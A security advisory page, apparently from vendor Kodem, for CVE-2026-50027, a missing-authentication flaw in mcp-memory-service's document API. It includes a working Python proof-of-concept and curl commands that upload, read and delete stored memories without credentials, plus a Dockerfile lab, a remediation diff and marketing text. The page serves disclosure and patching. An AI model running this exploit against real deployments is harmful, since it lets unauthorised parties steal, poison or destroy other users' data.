CVE-2026-50027

CVE-2026-50027 is a critical-severity missing authentication for critical function vulnerability in mcp-memory-service (pip), affecting versions < 10.67.1. It is fixed in 10.67.1.

Summary

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete), all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

  • src/mcp_memory_service/web/api/documents.py:33, from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
  • src/mcp_memory_service/web/api/documents.py:43, router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

Route Line (source) Sink Line (sink)
POST /upload 149 storage.store(memory) 449
POST /batch-upload , storage.store(memory) ,
GET /history , upload metadata response ,
GET /search-content/{upload_id} 729 memory content response 781
DELETE /remove/{upload_id} , storage deletion ,
DELETE /remove-by-tags 687 storage.delete_by_tags(tags) 705

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

  • Docker installed
  • Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API, no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
    -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
  python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK

sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication

# Delete by tag, no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
  -H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1

Observed output

  • GET /api/memories (no auth) returns 401, the authentication guard is demonstrably active on the memories API.
  • POST /api/documents/upload (no auth) returns 200 with a valid upload_id.
  • DELETE /api/documents/remove-by-tags (no auth) returns 200 with memories_deleted=1.
  • A subsequent authenticated GET /api/memories returns memories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.

Remediation

Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:

--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
 from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult

 async def upload_document(
     background_tasks: BackgroundTasks,
     file: UploadFile = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

 async def batch_upload_documents(
     background_tasks: BackgroundTasks,
     files: List[UploadFile] = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):

-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):

-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+    user: AuthenticationResult = Depends(require_write_access)):

-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+    user: AuthenticationResult = Depends(require_write_access)):

-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+    user: AuthenticationResult = Depends(require_read_access)):

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
 build-essential \
 && rm -rf /var/lib/apt/lists/*

# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
 "torch>=2.0.0" \
 --index-url https://download.pytorch.org/whl/cpu

# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .

# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"

# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1

EXPOSE 8000

CMD ["python", "run_server.py"]

poc.py

#!/usr/bin/env python3
"""
PoC, VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Attack chain:
 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
 2. POST /api/memories (with API key) → 200 (legitimate write)
 3. GET /api/memories (with API key) → 200 (data exists)
 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
 6. GET /api/memories (with API key) → memory is GONE

Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user, confirming full integrity impact.

Usage:
 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""

import sys
import time
import json
import uuid
import argparse
import http.client

MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"


# ─── low-level helpers ───────────────────────────────────────────────────────

def http_req(host, port, method, path, body=None, headers=None, timeout=20):
 conn = http.client.HTTPConnection(host, port, timeout=timeout)
 h = dict(headers or {})
 conn.request(method, path, body=body, headers=h)
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", errors="replace")


def wait_ready(host, port, timeout=120):
 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
 if s == 200:
 print("[+] Server ready\n", flush=True)
 return True
 except Exception:
 pass
 time.sleep(1)
 return False


def build_multipart(boundary, filename, file_bytes, tags_str):
 b = boundary.encode()
 return b"".join([
 b"--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
 b"Content-Type: /plain\r\n\r\n",
 file_bytes,
 b"\r\n--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
 tags_str.encode(),
 b"\r\n--" + b + b"--\r\n",
 ])


# ─── individual test steps ───────────────────────────────────────────────────

def step_memories_no_auth(host, port):
 """GET /api/memories without auth must return 401."""
 print("[STEP 1] GET /api/memories (no auth, expect 401)", flush=True)
 status, body = http_req(host, port, "GET", "/api/memories")
 ok = (status == 401)
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
 return ok, status


def step_store_memory_with_auth(host, port, api_key):
 """POST /api/memories with API key, store a 'legitimate' memory."""
 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
 payload = json.dumps({
 "content": f"Sensitive memory, {MARKER}",
 "tags": [TARGET_TAG, "vuln001-demo"],
 "memory_type": "observation",
 "metadata": {"poc": "VULN-001"}
 }).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(payload)),
 "X-API-Key": api_key,
 }
 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
 ok = status in (200, 201)
 content_hash = None
 try:
 content_hash = json.loads(body).get("content_hash")
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
 if not ok:
 print(f" body: {body[:300]}", flush=True)
 return ok, status, content_hash


def step_verify_memory_exists(host, port, api_key):
 """GET /api/memories with auth, confirm the memory is stored."""
 print("[STEP 3] GET /api/memories (with API key, confirm data exists)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
 return ok, status, count


def step_upload_no_auth(host, port):
 """POST /api/documents/upload without any credentials, should return 200."""
 print("[STEP 4] POST /api/documents/upload (NO auth, expect 200)", flush=True)
 boundary = "PocBoundary" + uuid.uuid4().hex
 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication, VULN-001.\n".encode()
 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
 headers = {
 "Content-Type": f"multipart/form-data; boundary={boundary}",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
 upload_id = None
 try:
 upload_id = json.loads(resp).get("upload_id")
 except Exception:
 pass
 ok = status == 200 and upload_id is not None
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, upload_id


def step_delete_no_auth(host, port):
 """DELETE /api/documents/remove-by-tags without auth, should return 200."""
 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(
 host, port, "DELETE", "/api/documents/remove-by-tags",
 body=body, headers=headers
 )
 ok = status == 200
 deleted = 0
 try:
 deleted = json.loads(resp).get("memories_deleted", 0)
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, deleted


def step_verify_memory_gone(host, port, api_key):
 """GET /api/memories with auth, confirm attacker wiped the data."""
 print("[STEP 6] GET /api/memories (with API key, verify data was deleted)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 data_deleted = (ok and count == 0)
 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
 if data_deleted:
 print(" [+] Memory wiped by unauthenticated attacker, integrity impact confirmed!", flush=True)
 return ok, status, count


# ─── main ────────────────────────────────────────────────────────────────────

def main():
 ap = argparse.ArgumentParser(description="VULN-001 PoC, CWE-306 auth bypass")
 ap.add_argument("--host", default="127.0.0.1")
 ap.add_argument("--port", type=int, default=8000)
 ap.add_argument("--api-key", default="poc-secret-key-12345",
 help="API key configured on the server (simulates legitimate user)")
 args = ap.parse_args()

 print("=" * 65)
 print("VULN-001 Missing Authentication on Document API Endpoints")
 print("CWE-306 / CVSS 9.8 (Critical)")
 print("=" * 65 + "\n")

 if not wait_ready(args.host, args.port):
 print("[-] Server did not become ready", flush=True)
 sys.exit(2)

 r = {}

 # Step 1, baseline: auth IS enforced on /api/memories
 ok1, s1 = step_memories_no_auth(args.host, args.port)
 r["step1_auth_guard_active"] = {
 "pass": ok1,
 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
 }

 # Step 2, legitimate user stores a sensitive memory
 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
 r["step2_legitimate_write"] = {
 "pass": ok2,
 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
 }

 # Step 3, confirm memory exists
 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
 r["step3_data_present"] = {
 "pass": ok3 and mem_count > 0,
 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
 }

 # Step 4, attacker uploads without auth (WRITE bypass)
 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
 r["step4_upload_auth_bypass"] = {
 "pass": ok4,
 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
 }

 # Step 5, attacker deletes WITHOUT auth (DELETE bypass)
 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
 r["step5_delete_auth_bypass"] = {
 "pass": ok5,
 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
 }

 # Step 6, verify legitimate data is gone
 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
 r["step6_integrity_impact"] = {
 "pass": ok6 and remaining == 0,
 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
 }

 print("\n" + "=" * 65)
 print("RESULTS SUMMARY")
 print("=" * 65)
 for k, v in r.items():
 sym = "PASS" if v["pass"] else "FAIL"
 print(f" [{sym}] {v['evidence']}", flush=True)

 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
 bypass_proven = ok1 and ok4
 delete_bypass = ok1 and ok5

 print("\nKey evidence:")
 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")

 overall = "PASS, auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
 print(f"\nVerdict: {overall}")
 print("=" * 65)
 sys.exit(0 if (bypass_proven or delete_bypass) else 1)


if __name__ == "__main__":
 main()

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.

Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.

Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.

Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).

Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-50027 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.67.1); upgrading removes the vulnerable code path.

Affected versions

mcp-memory-service (< 10.67.1)

Security releases

mcp-memory-service → 10.67.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade mcp-memory-service to 10.67.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-50027? CVE-2026-50027 is a critical-severity missing authentication for critical function vulnerability in mcp-memory-service (pip), affecting versions < 10.67.1. It is fixed in 10.67.1. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-50027? CVE-2026-50027 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of mcp-memory-service are affected by CVE-2026-50027? mcp-memory-service (pip) versions < 10.67.1 is affected.
  4. Is there a fix for CVE-2026-50027? Yes. CVE-2026-50027 is fixed in 10.67.1. Upgrade to this version or later.
  5. Is CVE-2026-50027 exploitable, and should I be worried? Whether CVE-2026-50027 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-50027 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-50027? Upgrade mcp-memory-service to 10.67.1 or later.

Other vulnerabilities in mcp-memory-service

CVE-2026-50027CVE-2026-49291CVE-2026-33010

Stop the waste.
Protect your environment with Kodem.